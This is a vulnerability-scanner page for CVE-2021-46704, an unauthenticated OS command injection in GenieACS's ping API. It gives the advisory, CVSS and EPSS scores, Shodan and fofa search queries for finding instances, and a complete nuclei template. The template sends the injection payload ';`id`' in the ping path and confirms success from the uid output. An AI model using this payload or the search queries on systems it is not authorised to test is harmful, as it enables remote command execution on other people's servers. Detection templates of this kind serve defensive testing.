GenieACS => 1.2.8 - OS Command Injection

criticalseverity

9.8CVSS score

21.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.

Fix

Upgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/ping/;`id`
Positive when: contains in header "text/plain" AND matches /uid=([0-9]+)/ AND status 500

Run it with nuclei: nuclei -id CVE-2021-46704 -u <target>

The full check

id: CVE-2021-46704

info:
  name: GenieACS => 1.2.8 - OS Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability.
  reference:
    - https://twitter.com/shaybt12/status/1671598239835906058
    - https://github.com/advisories/GHSA-2877-693q-pj33
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46704
    - https://github.com/genieacs/genieacs/commit/7f295beeecc1c1f14308a93c82413bb334045af6
    - https://github.com/genieacs/genieacs/releases/tag/v1.2.8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46704
    cwe-id: CWE-78
    epss-score: 0.21901
    epss-percentile: 0.97668
    cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: genieacs
    product: genieacs
    shodan-query:
      - http.favicon.hash:-2098066288
      - http.html:"genieacs"
    fofa-query:
      - body="genieacs"
      - icon_hash=-2098066288
  tags: cve2021,cve,genieacs,rce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/ping/;`id`"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "uid=([0-9]+)"

      - type: status
        status:
          - 500

    extractors:
      - type: regex
        regex:
          - uid=(\d+)\((\w+)\)
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from